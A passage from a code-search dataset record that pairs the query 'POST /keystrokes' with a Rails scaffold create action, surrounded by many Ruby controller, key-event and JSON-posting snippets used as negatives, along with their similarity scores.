"def new\n @finger_print = FingerPrint.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @finger_print }\n end\n end",
"def new\n @potluck = Potluck.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @potluck }\n end\n end",
"def new\n @click = Click.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @click }\n end\n end",
"def new\n @serach_word = SerachWord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @serach_word }\n end\n end",
"def new\n @joke = Joke.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @joke }\n end\n end",
"def new\n @koti = Koti.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @koti }\n end\n end",
"def new\n @pass = Pass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pass }\n end\n end",
"def new\n \n #timestamp={{FellAsleepAt}}&total_sleep={{TotalTimeSleptInSeconds}}&deep={{TimeInDeepSleepSeconds}}&light={{TimeInLightSleepSeconds}}&awake={{TimeAwakeSeconds}}\n \n json_hash = Hash.new\n \n @sleep = json_hash\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sleep }\n end\n end",
"def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end",
"def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end",
"def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end",
"def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end",
"def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end",
"def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end",
"def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end",
"def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end",
"def new\r\n @frame = Frame.new\r\n @random_text = generate_password(15)\r\n @pad = Pad.find(:first, :conditions => [\"id=?\", params[:pad_id]])\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @frame }\r\n end\r\n end",
"def new\n @kitten = Kitten.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @kitten }\n end\n end",
"def new\n @application = Application.new\n range = [*'0'..'9', *'a'..'z', *'A'..'Z']\n @application.api_key = Array.new(30){range.sample}.join\n\n respond_to do |format|\n format.html # new.html.haml\n format.json { render json: @application }\n end\n end",
"def new\n @kickoff = Kickoff.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @kickoff }\n end\n end",
"def index\n @api_keys = ApiKey.find_all_by_user_id current_user.id\n @new_key = ApiKey.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @api_keys }\n format.json { render :json => @api_keys }\n end\n end",
"def new\n @gpath = Gpath.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gpath }\n end\n end",
"def new\n @straddle = Straddle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @straddle }\n end\n end",
"def new\n @pass = Pass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @pass }\n end\n end",
"def new\n @proyect = Proyect.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @proyect }\n end\n end",
"def new\n @hit = Hit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hit }\n end\n end",
"def new\n @pocket = Pocket.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pocket }\n end\n end",
"def new\n @newapp = Newapp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newapp }\n end\n end",
"def new\n @talktype = Talktype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @talktype }\n end\n end"
] |
[
"0.68736017",
"0.6770503",
"0.6457825",
"0.6423651",
"0.6397754",
"0.62544847",
"0.6229272",
"0.622481",
"0.6159139",
"0.6154632",
"0.61148155",
"0.6052795",
"0.6015635",
"0.5947372",
"0.59089154",
"0.5897333",
"0.58628786",
"0.58190656",
"0.58084196",
"0.5785126",
"0.5765239",
"0.5749915",
"0.5726498",
"0.5726498",
"0.5719063",
"0.5715293",
"0.5714245",
"0.5713142",
"0.5677404",
"0.56518793",
"0.5648571",
"0.5620588",
"0.5613617",
"0.5607696",
"0.55979127",
"0.5574885",
"0.55729306",
"0.55594856",
"0.55563354",
"0.5555369",
"0.552594",
"0.5523125",
"0.5512829",
"0.5512829",
"0.54985034",
"0.5489904",
"0.54886097",
"0.54760396",
"0.54661936",
"0.5446988",
"0.5446988",
"0.54401743",
"0.5427459",
"0.54237396",
"0.5422569",
"0.5418997",
"0.541729",
"0.54111207",
"0.54093474",
"0.54093474",
"0.54093474",
"0.54093474",
"0.54093474",
"0.54088014",
"0.5401289",
"0.5395641",
"0.5392072",
"0.53919184",
"0.53902435",
"0.5387074",
"0.5374177",
"0.5373994",
"0.5369191",
"0.53640485",
"0.5363194",
"0.53631896",
"0.53557175",
"0.53533083",
"0.53507906",
"0.53491974",
"0.53491974",
"0.53491974",
"0.53491974",
"0.53491974",
"0.53491974",
"0.53491974",
"0.53491974",
"0.53436035",
"0.5343447",
"0.53421277",
"0.53354716",
"0.53266495",
"0.53156364",
"0.5314849",
"0.530722",
"0.53042763",
"0.53032124",
"0.5296772",
"0.529477",
"0.5294062"
] |
0.80335706
|
0
|
POST /keystrokes POST /keystrokes.json
|
def create
@keystroke = Keystroke.new(params[:keystroke])
respond_to do |format|
if @keystroke.save
format.html { redirect_to @keystroke, notice: 'Keystroke was successfully created.' }
format.json { render json: @keystroke, status: :created, location: @keystroke }
else
format.html { render action: "new" }
format.json { render json: @keystroke.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @keystroke = Keystroke.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @keystroke }\n end\n end",
"def key_stroke(keycodeText)\n append_to_script \"key_stroke \\\"#{keycodeText}\\\"\"\n end",
"def keystroke(character, *special_keys)\n special_keys = [\"command\"] if special_keys.length == 0\n special_keys_as_applescript_array = special_keys.map { |k|\n \"#{k} down\"\n }.join(\", \")\n execute_applescript(%Q'\n tell application \"System Events\"\n set frontApp to name of first item of (processes whose frontmost is true)\n tell application frontApp\n keystroke \"#{character}\" using {#{special_keys_as_applescript_array}}\n end\n end tell\n ')\n end",
"def destroy\n @keystroke = Keystroke.find(params[:id])\n @keystroke.destroy\n\n respond_to do |format|\n format.html { redirect_to keystrokes_url }\n format.json { head :no_content }\n end\n end",
"def hot_key_params\n params.require(:hot_key).permit(:profile_id, :keys)\n end",
"def send_key(*args); end",
"def show\n @keystroke = Keystroke.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @keystroke }\n end\n end",
"def keyboard_send_keyevent(keyevent)\r\n adb_exec(\"shell input keyevent #{keyevent}\")\r\nend",
"def send_keycode(keycode)\n send_request RequestMessage.new(key_event_message: KeyEvent.new(keycode: keycode, action: Action::DOWN))\n send_request RequestMessage.new(key_event_message: KeyEvent.new(keycode: keycode, action: Action::UP))\n end",
"def update\n @keystroke = Keystroke.find(params[:id])\n\n respond_to do |format|\n if @keystroke.update_attributes(params[:keystroke])\n format.html { redirect_to @keystroke, notice: 'Keystroke was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @keystroke.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @key_word = KeyWord.new(params[:key_word])\n\n respond_to do |format|\n if @key_word.save\n format.html { redirect_to @key_word, notice: 'Key word was successfully created.' }\n format.json { render json: @key_word, status: :created, location: @key_word }\n else\n format.html { render action: \"new\" }\n format.json { render json: @key_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def validate_strokes\n begin\n e('Illegal strokes') unless\n params[:strokes] &&\n strokes = JSON(params[:strokes]) #&&\n # !strokes.empty? &&\n # !strokes.first.empty?\n # TODO more thorough checks\n rescue\n e('Illegal strokes')\n end\n strokes\n end",
"def send_keys(*args); end",
"def post(url, key)\n _request(url, :POST, key)\n end",
"def send_control(msg)\n text = JSON.dump(msg)\n dbg(\"-> #{text}\")\n $stdout.write(\"#{text.length+1}\\n\\n#{text}\")\n $stdout.flush\nend",
"def register(*key_strokes, &handler)\r\n \r\n AWT::Toolkit.getDefaultToolkit().addAWTEventListener(self, AWT::AWTEvent::KEY_EVENT_MASK)\r\n\r\n @key_strokes = key_strokes\r\n @handler = handler\r\n\r\n end",
"def type(text:)\n conn = multipart_connection(port: 8060)\n text.split(//).each do |c|\n path = \"/keypress/LIT_#{CGI::escape(c)}\"\n @logger.debug(\"Send Letter: \"+path)\n response = conn.post path\n return false unless response.success?\n end\n return true\n end",
"def keystroke(componentName, keysequence, componentInfo=nil)\n $marathon.keystroke(ComponentId.new(componentName, componentInfo), keysequence)\nend",
"def key_down key\n @keys.push key\n end",
"def add_key(key)\n post(\"/users/ssh_keys\", {:key => key}, :accept => 'json').to_s\n end",
"def keystroke(componentName, keysequence, componentInfo=nil)\n $marathon.keystroke(ComponentId.new(componentName, componentInfo), keysequence)\nend",
"def keypress\n begin\n _call = direction\n if _call.present?\n _call.keypress(params) if defined?(_call.keypress)\n end\n rescue => e\n logger.error e.message\n logger.error e.backtrace.join(\"\\n\")\n end\n render :plain => '', content_type: \"text/html\", :status => 200\n end",
"def create\n @key = Key.new(params[:key])\n\n respond_to do |format|\n if @key.save\n format.html { redirect_to @key, notice: 'Key was successfully created.' }\n format.json { render json: @key, status: :created, location: @key }\n else\n format.html { render action: \"new\" }\n format.json { render json: @key.errors, status: :unprocessable_entity }\n end\n end\n end",
"def press_any_key\n # TODO: Print footer.\n get_wch\n end",
"def send_key(keycode, ctrl=false, alt=false, shift=false)\n matchingshortcuts = @shortcuts.select { |shortcut|\n shortcut.keycode == keycode && shortcut.ctrl == ctrl &&\n shortcut.alt == alt && shortcut.shift == shift\n }\n counter = 0\n matchingshortcuts.each { |shortcut|\n action = shortcut.action\n @actions[action].each { |handler|\n handler.call(shortcut)\n counter+=1\n }\n }\n counter\n end",
"def send(key)\n HTTParty.post(@add_url, {\n :headers => {\n \"Content-Type\" => \"application/json; charset=UTF8\",\n \"X-Accept\" => \"application/json\"\n },\n :body => {\n #:url => formatted[:url],\n :url => \"https://www.engadget.com/2016/10/09/more-galaxy-note-7-replacement-fires/\",\n #:tags => formatted[:tags],\n :consumer_key => ENV['POCKET_CONSUMER_KEY'],\n :access_token => key\n }.to_json\n })\n end",
"def send_keys(keys)\n platform.send_keys(keys)\n end",
"def keypress(key)\n puts \"Got key: #{key} (#{key.class})\"\n if key.is_a?(String)\n if key.length == 1\n # Assume letter\n @vnc.keyevent(key.chr, true)\n @vnc.keyevent(key.chr, false)\n else\n # Assume keysym\n puts \"I don't know how to type '#{key}'\"\n return { :action => \"status\", :status => \"I don't know how to type '#{key}'\" }\n end\n else\n # type printables, key others.\n if 32.upto(127).include?(key)\n @vnc.keyevent(key, true)\n @vnc.keyevent(key, false)\n else\n case key\n when 8 \n @vnc.keyevent(0xff08, true)\n @vnc.keyevent(0xff08, false)\n when 13\n @vnc.keyevent(0xff0D, true)\n @vnc.keyevent(0xff0D, false)\n else\n puts \"I don't know how to type web keycode '#{key}'\"\n return { :action => \"status\", :status => \"I don't know how to type '#{key}'\" }\n end # case key\n end # if 32.upto(127).include?(key)\n end # if key.is_a?String\n return nil\n end",
"def send_hash(cmd_hash)\n json = JSON.generate(cmd_hash)\n send_json() \n end",
"def key_press locator, keycode\r\n command 'keyPress', locator, keycode\r\n end",
"def key_press locator, keycode\r\n command 'keyPress', locator, keycode\r\n end",
"def nav(commands:)\n commands.each do |command|\n if @commands.has_key?(command)\n conn = multipart_connection(port: 8060)\n\n path = \"/keypress/#{@commands[command]}\"\n @logger.debug(\"Send Command: \"+path)\n response = conn.post path\n return false unless response.success?\n else\n return false\n end\n end\n return true\n end",
"def create\n @stroke = Stroke.new(stroke_params)\n\n respond_to do |format|\n if @stroke.save\n format.html { redirect_to @stroke, notice: 'Stroke was successfully created.' }\n format.json { render :show, status: :created, location: @stroke }\n else\n format.html { render :new }\n format.json { render json: @stroke.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@keyboard_shortcut = current_user.keyboard_shortcuts.new(params[:keyboard_shortcut])\n\n\t\trespond_to do |format|\n\t\t\tif @keyboard_shortcut.save\n\t\t\t\tformat.html { redirect_to(@keyboard_shortcut, :notice => 'Keyboard shortcut was successfully created.') }\n\t\t\t\tformat.xml { render :xml => @keyboard_shortcut, :status => :created, :location => @keyboard_shortcut }\n\t\t\t\tformat.json { render :json => @keyboard_shortcut, :status => :created, :location => @keyboard_shortcut }\n\t\t\t\tformat.yaml { render :text => @keyboard_shortcut.to_yaml, :content_type => 'text/yaml', :status => :created, :location => @keyboard_shortcut }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.xml { render :xml => @keyboard_shortcut.errors, :status => :unprocessable_entity }\n\t\t\t\tformat.json { render :json => @keyboard_shortcut.errors, :status => :unprocessable_entity }\n\t\t\t\tformat.yaml { render :text => @keyboard_shortcut.errors.to_yaml, :content_type => 'text/yaml', :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def add_key(options = {})\n post \"/user/keys\", options\n end",
"def newkeys\n send_command(:newkeys)\n Destination.parse(read_response)\n end",
"def command_params\n params.require(:command).permit(:name, :json)\n end",
"def json_entry_params\n params.require(:json_entry).permit(:area_id, :data, :name, :verb, :post_body)\n end",
"def create\n @key = Key.new(key_params)\n\n if @key.save\n render json: @key, status: :created, location: api_key_url(@key)\n else\n render json: @key.errors, status: :unprocessable_entity\n end\n end",
"def press_keycode(key, metastate: [], flags: [])\n @bridge.press_keycode(key, metastate: metastate, flags: flags)\n end",
"def press_keycode(key, metastate: [], flags: [])\n @bridge.press_keycode(key, metastate: metastate, flags: flags)\n end",
"def post_data(data, api_key)\n mutation = Mutations::CREATE_EVENT\n Client.query(mutation, api_key, {\n \"sessionId\": data[:session_id],\n \"eventInput\": {\n \"input\": data\n }\n })\n end",
"def api_post(action, data, binary_key = nil)\n api_request(action, data, 'POST', binary_key)\n end",
"def press(key_sequence)\n end",
"def stroke_params\n params.require(:stroke).permit(:theta_id, :type_id, :shape_id, :pos)\n end",
"def press key, options = {}\n key = 'Return' if key == 'ENTER'\n widget = options[:in] || Gtk::Window.toplevels.first\n event = Gdk::EventKey.new(Gdk::Event::KEY_PRESS)\n event.window = widget\n event.state |= Gdk::Window::CONTROL_MASK if key =~ /CTRL+/\n event.state |= Gdk::Window::MOD1_MASK if key =~ /ALT+/\n event.state |= Gdk::Window::SHIFT_MASK if key =~ /SHIFT+/\n event.keyval = Gdk::Keyval.from_name(key.split('+').last)\n widget.grab_focus\n event.send_event = true\n entry = Gdk::Keymap.default.get_entries_for_keyval(event.keyval).first\n event.hardware_keycode = entry[0]\n widget.signal_emit('key_press_event', event)\n process_events\nend",
"def post_to_url(conn, key, body)\n res = conn.post do | req |\n # req.headers['x-api-key'] = key\n req.body = body.to_json\n end\n JSON.parse(res.body)\n end",
"def new\n @title = \"Nuova Key Word\"\n @key_word = KeyWord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @key_word }\n end\n end",
"def ctrl_w() send_keys(:ctrl_w) end",
"def pressKeyToContinue\n puts \"\\n-- press any key to continue --\"\n gets\nend",
"def send_keys_separately(*keyboard_keys)\n command('let &undolevels=&undolevels')\n keyboard_keys.map { |key| send_keys(key, split_undo_entry: false) }\n end",
"def process_keystroke( context = [], mode = 'edit', ch = nil )\n ch ||= @modes[ mode ].window.getch\n return if ch.nil?\n c = ch.ord\n\n # UTF-8\n if 194 <= c && c <= 244\n if 194 <= c && c <= 223\n # 2-byte character\n byte_array = [c, @modes[mode].window.getch.ord]\n elsif 224 <= c && c <= 239\n # 3-byte character\n byte_array = [\n c,\n @modes[mode].window.getch.ord,\n @modes[mode].window.getch.ord,\n ]\n elsif 240 <= c && c <= 244\n # 4-byte character\n byte_array = [\n c,\n @modes[mode].window.getch.ord,\n @modes[mode].window.getch.ord,\n @modes[mode].window.getch.ord,\n ]\n end\n\n char = byte_array.pack('C*').force_encoding('utf-8')\n type_character char, mode\n return\n end\n\n if @capturing_keychain\n capture_keychain c, context\n elsif @capturing_mapping\n capture_mapping c, context\n else\n\n if context.empty? && typeable?( c )\n type_character ch, mode\n\n # Handle X windows paste\n s = \"\"\n loop do\n ch = nil\n begin\n Timeout::timeout( 0.02 ) do\n ch = @modes[ mode ].window.getch\n end\n rescue Timeout::Error => e\n break\n end\n break if ch.nil?\n\n c = ch.ord\n # UTF-8\n if 194 <= c && c <= 244\n if 194 <= c && c <= 223\n # 2-byte character\n byte_array = [c, @modes[mode].window.getch.ord]\n elsif 224 <= c && c <= 239\n # 3-byte character\n byte_array = [\n c,\n @modes[mode].window.getch.ord,\n @modes[mode].window.getch.ord,\n ]\n elsif 240 <= c && c <= 244\n # 4-byte character\n byte_array = [\n c,\n @modes[mode].window.getch.ord,\n @modes[mode].window.getch.ord,\n @modes[mode].window.getch.ord,\n ]\n end\n\n char = byte_array.pack('C*').force_encoding('utf-8')\n s << char\n elsif typeable?( c )\n s << c\n elsif c == ENTER && mode == 'edit'\n s << \"\\n\"\n else\n break\n end\n end\n\n if ! s.empty?\n case mode\n when 'edit'\n buffer_current.paste s, Buffer::TYPING\n when 'input'\n @readline.paste s\n end\n end\n\n if ch\n process_keystroke( [], mode, ch )\n end\n\n return\n end\n keychain_pressed = context.concat [ c ]\n\n function_and_args = (\n @modes[mode].keymap_after[@function_last].get_leaf( keychain_pressed ) ||\n @modes[mode].keymap.get_leaf( keychain_pressed )\n )\n\n if function_and_args\n function, args = function_and_args\n @function_last = function\n\n if mode != 'input' && ! @settings[ \"context.combined\" ]\n set_iline\n end\n\n if args\n to_eval = \"#{function}( #{args} )\"\n else\n to_eval = function\n end\n\n if @macro_history\n @macro_history.push to_eval\n end\n\n begin\n if buffer_current.search_area? && ! ( /^(?:find|readline)/ === to_eval )\n buffer_current.search_area = nil\n end\n eval to_eval, nil, \"eval\"\n @functions_last << to_eval unless to_eval == \"repeat_last\"\n if ! @there_was_non_movement\n @there_was_non_movement = !( /^((cursor|page|scroll)_?(up|down|left|right)|find|seek)/i === to_eval )\n end\n rescue Exception => e\n debug_log e.message\n debug_log e.backtrace.join( \"\\n\\t\" )\n show_exception e\n end\n else\n partial_keychain = @modes[ mode ].keymap.get_node( keychain_pressed )\n if partial_keychain\n if mode != 'input'\n set_iline( keychain_str_for( keychain_pressed ) + \"...\" )\n end\n process_keystroke keychain_pressed, mode\n elsif mode != 'input'\n set_iline \"Nothing assigned to #{keychain_str_for( keychain_pressed )}\"\n end\n end\n end\n end",
"def create\n @whiskey = Whiskey.new(whiskey_params)\n\n respond_to do |format|\n if @whiskey.save\n format.html { redirect_to @whiskey, notice: \"Whiskey was successfully created.\" }\n format.json { render :show, status: :created, location: @whiskey }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @whiskey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def on_key(ch)\n end",
"def process_keyboard\n ACCEPTED_KEYS.each {|key|\n if Input.repeat?(key[0])\n c = (key[0] != :kSPACE) ? Keyboard.add_char(Ascii::SYM[key[0]]) : \" \"\n process_add(c)\n #Sound.play_ok\n play_random_key_sound\n end\n }\n end",
"def after_keypress\n begin\n _call = direction\n if _call.present?\n urls = _call.after_keypress(params) if defined?(_call.after_keypress)\n end\n rescue => e\n logger.error e.message\n logger.error e.backtrace.join(\"\\n\")\n end\n render :plain => urls, content_type: \"text/plain\", status: 200\n end",
"def key_pressed( event )\n @keys += [event.key]\n end",
"def computers_keyboard_params\n params.require(:computers_keyboard).permit(:name, :description)\n end",
"def input_key(key)\n @driver.action.send_keys(key).perform\n end",
"def send_keys(*args, device: T.unsafe(nil)); end",
"def update\n\t\tupdate_keypress\n\tend",
"def create\n @computers_keyboard = ComputersKeyboard.new(computers_keyboard_params)\n\n respond_to do |format|\n if @computers_keyboard.save\n format.html { redirect_to @computers_keyboard, notice: 'Computers keyboard was successfully created.' }\n format.json { render :show, status: :created, location: @computers_keyboard }\n else\n format.html { render :new }\n format.json { render json: @computers_keyboard.errors, status: :unprocessable_entity }\n end\n end\n end",
"def getch\n\n end",
"def post!( text, password )\n post text\n push password\n end",
"def create\n @key_word_set = KeyWordSet.new(params[:key_word_set])\n\n respond_to do |format|\n if @key_word_set.save\n format.html { redirect_to @key_word_set, notice: 'Key word set was successfully created.' }\n format.json { render json: @key_word_set, status: :created, location: @key_word_set }\n else\n format.html { render action: \"new\" }\n format.json { render json: @key_word_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"def type(*keys)\n keys = normalize_keys(Array(keys))\n\n keys.each do |key|\n type = key[:text] ? \"keyDown\" : \"rawKeyDown\"\n @page.command(\"Input.dispatchKeyEvent\", type: type, **key)\n @page.command(\"Input.dispatchKeyEvent\", slowmoable: true, type: \"keyUp\", **key)\n end\n\n self\n end",
"def after_keypress_greeting\n begin\n _call = direction\n if _call.present?\n applet = \"{\\\"select\\\":\\\"#{_call.after_keypress_greeting(params)}\\\"}\" if defined?(_call.after_keypress_greeting)\n end\n rescue => e\n logger.error e.message\n logger.error e.backtrace.join(\"\\n\")\n end\n render :plain => applet, content_type: \"text/html\", status: 200\n end",
"def kanji_params\n params.require(:kanji).permit(:character, :level)\n end",
"def key_press *args\n\t\t\tevent(:key_press, *args)\n\t\tend",
"def process_gamekeys gks, json\n\tdata = {}\n\tgks.each do |key|\n\t\tSTDERR.puts \"Getting data for order #{key}\"\n\t\tdata[key] = JSON.parse(api_call \"order/#{key}\")\n\tend\n\tFile.write json, JSON.dump(data)\n\treturn data\nend",
"def keys(pattern = \"*\")\n send_command([:keys, pattern]) do |reply|\n if reply.is_a?(String)\n reply.split(\" \")\n else\n reply\n end\n end\n end",
"def json_post\n @content_type = 'text/plain'\n @render_nothing = true\n @rendered_template = true\n @current_layout = nil\n puts \"json_post: submitting #{params[:path]}\" if @@debug\n path = params[:path]\n if path\n puts \"json_post: path is #{path} l=#{path.length}\" if @@debug\n path = path.split('/').compact()\n path.delete('')\n # you cannot make rooted nodes via json atm... fix? xxx\n if path.length > 1\n name = path.pop\n nodes = Note.make_path @user,path\n puts \"json_post: making at path #{path.join('/')}\" if @@debug\n if nodes\n note = nodes.last.make_child @user,params,name\n puts \"json_post: made child #{note} from #{name} l=#{name.length}\"\n params[:path] = path.join('/') # for call to json_query\n # it is important to do a query rather than returning the note; to get freshest order\n json_query\n return\n #write_json note if note\n end\n end\n end\n render :nothing => true\n end",
"def action(resp)\n game_data.chosen_letters.push(resp)\n increment(resp)\n edit_letters_left(resp)\n win_or_lose\n end",
"def shortcut_params\n json_params = ActionController::Parameters.new(JSON.parse(params[:payload]))\n json_params.permit(:trigger_id, :type, :user => [:id, :team_id])\n end",
"def new\n\t\t@keyboard_shortcut = current_user.keyboard_shortcuts.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml { render :xml => @keyboard_shortcut }\n\t\t\tformat.json { render :json => @keyboard_shortcut }\n\t\t\tformat.yaml { render :text => @keyboard_shortcut.to_yaml, :content_type => 'text/yaml' }\n\t\tend\n\tend",
"def post path, payload\n response = connection.post path, payload\n return true if response.empty?\n return symbolize_keys(response.keys, response)\n end",
"def draw_key_command(key, index)\n rect = item_rect_for_text(index)\n change_color(normal_color)\n draw_text(rect.x, rect.y, rect.width/2, line_height, Vocab.command_name(key))\n if $game_system.xinput_key_set[key]\n change_color(crisis_color)\n draw_text(rect.width/2, rect.y, rect.width/2, line_height, Vocab.gamepad_key($game_system.xinput_key_set[key]), 1)\n else\n change_color(knockout_color)\n draw_text(rect.width/2, rect.y, rect.width/2, line_height, ControllerSettings::NO_KEY_SET, 1)\n end\n end",
"def post_route(payload)\n with_rescue do\n payload = payload.to_json if payload.is_a?(Hash)\n connection.post do |request|\n request.url routes_path\n request.body = payload\n request.headers['Content-Type'] = 'application/json'\n end\n end\n end",
"def post_webhook\n HTTParty.post(\n \"https://api.trello.com/1/tokens/#{user.token}/webhooks/?key=#{ENV['TRELLO_KEY']}\",\n query: {\n description: \"Sprint webhook user#{user.id}\",\n callbackURL: \"#{ENV['BASE_URL']}webhooks\",\n idModel: trello_ext_id\n },\n headers: { \"Content-Type\" => \"application/json\" }\n )\n end",
"def create\n @kitty = Kitty.new(params[:kitty])\n\n respond_to do |format|\n if @kitty.save\n format.html { redirect_to @kitty, notice: 'Kitty was successfully created.' }\n format.json { render json: @kitty, status: :created, location: @kitty }\n else\n format.html { render action: \"new\" }\n format.json { render json: @kitty.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_key_input(name); end",
"def create\n @secret_key = SecretKey.new(secret_key_params)\n\n respond_to do |format|\n if @secret_key.save\n #format.html { redirect_to @secret_key, notice: 'Secret key was successfully created.' }\n format.json { render :json=> @secret_key.to_json({}) }\n else\n format.html { render action: 'new' }\n format.json { render json: @secret_key.errors, status: :unprocessable_entity }\n end\n end\n end",
"def key_up locator, keycode\r\n command 'keyUp', locator, keycode\r\n end",
"def key_up locator, keycode\r\n command 'keyUp', locator, keycode\r\n end",
"def create\n @monkey = Monkey.new(params[:monkey])\n\n respond_to do |format|\n if @monkey.save\n format.html { redirect_to @monkey, notice: 'Monkey was successfully created.' }\n format.json { render json: @monkey, status: :created, location: @monkey }\n else\n format.html { render action: \"new\" }\n format.json { render json: @monkey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @keyval = Keyval.new(keyval_params)\n\n respond_to do |format|\n if @keyval.save\n format.html { redirect_to @keyval, notice: 'Keyval was successfully created.' }\n format.json { render :show, status: :created, location: @keyval }\n else\n format.html { render :new }\n format.json { render json: @keyval.errors, status: :unprocessable_entity }\n end\n end\n end",
"def api_post(action, data)\n api_request(action, data, 'POST')\n end",
"def post(path, data = {})\n request 'POST', path, body: data.to_json\n end",
"def add(key)\n cmd = \"input keyevent #{map_key(key)};\"\n @sequence == \"\" ? @sequence = cmd : @sequence = @sequence + cmd\n end",
"def getch\n map_key(key_press)\n end",
"def monkey_params\n params.require(:monkey).permit(:name)\n end",
"def press_key_for_feature(key)\n # dirty hack to send an Enter keypress to chrome (cannot be sent directly, have to send :enter symbol)\n if key == 13\n send_char = :enter\n else\n send_char = key.chr\n end\n page.find('body').native.send_keys send_char\nend",
"def create\n @key_pair = KeyPair.new(params[:key_pair])\n\n respond_to do |format|\n if @key_pair.save\n format.html { redirect_to @key_pair, notice: 'Key pair was successfully created.' }\n format.json { render json: @key_pair, status: :created, location: @key_pair }\n else\n format.html { render action: \"new\" }\n format.json { render json: @key_pair.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_d3_key d3_key\n log_file = \"log/\" + d3_key + \"-\" + Time.now.utc.to_s.gsub(/\\s/, \"-\")\n `mkdir -p log`\n `mkdir -p tmp`\n \n `curl --user-agent \"#{USER_AGENT}\" -v --cookie tmp/cookie --cookie-jar tmp/cookie2 -d \"gameKey=#{d3_key}\" https://us.battle.net/account/management/add-game.html 2>&1 >> #{log_file}`\n puts \"posted d3 key: #{d3_key}, posted_at: #{Time.now.to_s}\"\n nil\nend",
"def smssend\n http = get_http_connection() \n post_args = { 'number' => params[:number], 'text' => params[:text],'replyto' => params[:replyto], 'name' => @pysmsd_config.app_name, 'password' => @pysmsd_config.app_password }\n \n request = Net::HTTP::Post.new('/messages/out.json')\n request.set_form_data(post_args)\n resp = http.request(request)\n json = JSON.parse(resp.body)\n render_json :entry => json\n end",
"def post\n Typhoeus.post(@url,\n body: @results_hash.to_json,\n headers: { 'Content-Type' => 'application/json' })\n end",
"def create\n @key_point = KeyPoint.new(params[:key_point])\n\n respond_to do |format|\n if @key_point.save\n format.html { redirect_to :back, notice: 'Key point was successfully created.' }\n format.json { render json: @key_point, status: :created, location: @key_point }\n else\n format.html { render action: \"new\" }\n format.json { render json: @key_point.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_user_key_params\n params.require(:user_key).permit(:name, :requester_type, :requester_additional_info,\n answers_attributes: [:id, :message, :question_id])\n end",
"def confirm_newkeys; end",
"def control_key_up\r\n command 'controlKeyUp'\r\n end"
] |
[
"0.64852476",
"0.58864564",
"0.56439817",
"0.5606263",
"0.5569623",
"0.54804087",
"0.5454897",
"0.54340047",
"0.54230803",
"0.54145926",
"0.5387479",
"0.53107893",
"0.5290351",
"0.521464",
"0.5178139",
"0.517775",
"0.5176327",
"0.5139103",
"0.5129177",
"0.51184237",
"0.5097753",
"0.5095488",
"0.50856733",
"0.5078901",
"0.50281864",
"0.5024778",
"0.50145966",
"0.50031877",
"0.4995689",
"0.49816352",
"0.49816352",
"0.49737993",
"0.49622935",
"0.4960473",
"0.4946699",
"0.49107996",
"0.49060854",
"0.48926026",
"0.48829758",
"0.48726302",
"0.48726302",
"0.4870243",
"0.48691595",
"0.4867479",
"0.48647377",
"0.48539832",
"0.48429364",
"0.48338464",
"0.48322856",
"0.48311362",
"0.48307198",
"0.48004547",
"0.4800035",
"0.47939798",
"0.4792077",
"0.4785429",
"0.47756717",
"0.47654843",
"0.47620827",
"0.4753132",
"0.47524193",
"0.47496757",
"0.47452337",
"0.4731446",
"0.4728499",
"0.47212484",
"0.47193024",
"0.47185507",
"0.4711018",
